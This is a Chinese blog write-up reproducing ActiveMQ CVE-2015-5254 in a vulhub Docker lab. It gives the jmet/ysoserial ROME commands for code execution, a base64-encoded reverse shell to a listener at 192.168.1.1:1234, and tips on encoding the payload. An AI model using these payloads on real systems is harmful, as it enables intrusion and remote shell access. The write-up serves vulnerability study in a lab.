CVE-2015-5254

ActiveMQ CVE-2015-5254漏洞复现

0. 环境搭建

  1. 安装docker:

    curl -s https://get.docker.com/ | sh
    
  2. 搭建vulhub,使用wget下载vulhub:

    wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
    

    解压:

    unzip vulhub-master.zip
    

    进入漏洞环境:

    cd /tools/range/activemq/CVE-2015-5254
    

    启动环境:

    docker-compose up -d
    

    最后如图:

  3. 启动了CVE-2015-5254的环境,浏览器访问:

    docker ps
    

    能够看到0.0.0.0:8161-->8161/tcp 和 0.0.0.0:61616-->61616

    其中的8161端口就是管理页面的端口,而61616则是发送消息的工作端口。

    浏览器访问虚拟机ip加端口:192.168.163.128:8161

    Manage ActiveMQ 为漏洞利用点,不过需要管理员权限才能访问,简单点说,需要密码,这里的默认帐密为admin/admin;所以在不清楚密码的同时,我们需要伪造消息去让管理员点击。

1. 漏洞复现

  1. 下载漏洞利用工具:

    wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
    
  2. 构造可执行命令的序列化对象,执行命令

    jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/cve-2015-5254" -Yp ROME 192.168.163.128 61616
    

    命令执行如图:

  3. 访问管理页面的消息队列,点击消息

    进入Manage ActiveMQ,点击queue,能够看到获得的消息:

    进入event,查看消息:

    点击message ID,即可成功触发漏洞:

    进入docker查看,tmp下是否已经创建了cve-2015-5254文件:

    docker exec 541e3f -it  /bin/bash
    #541e3f -->为docker ID,使用docker ps命令能够查看
    

    CVE-2015-5254漏洞利用成功~

  4. 反弹shell

    反弹shell,修改命令中“ ”内的命令,反弹shell命令为bash -i >& /dev/tcp/vps地址/nc监听端口 0>&1

    漏洞利用同理,发送消息,点击消息,命令执行:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.163.128 61616
    

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}该语句问上面的反弹shell命令编码过来,编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html。

    点击消息,命令执行:

    如图:

    得到shell:


以上为漏洞复现的整个过程,以下为在复现中遇到的问题:

反弹shell无法成功:

使用语句时,shell反弹不成功:

java -jar jmet-0.1.0.all-jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.1.1/1234" -Yp ROME 192.168.163.128 61616

解决方法:

将反弹shell命令编码,编码地址在上文。

问题:反序列漏洞利用是否bash命令是否都需要编码?

问了一下我的同事,需不需要编码是要看他代码里面写没写base64,一般都是需要的,因为序列化之后的数据是给计算机看的,对于我们来说就是一段乱码,所以一般进行一道base64编码,能让我们看上去舒服一些,一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据,或者如果以aced开头,那么他就是这一段java序列化的16进制。这样一段数据就是典型的base64编码之后的java序列化数据:

posted @ 2021-10-27 12:15  七先生  阅读(402)  评论(0编辑  收藏  举报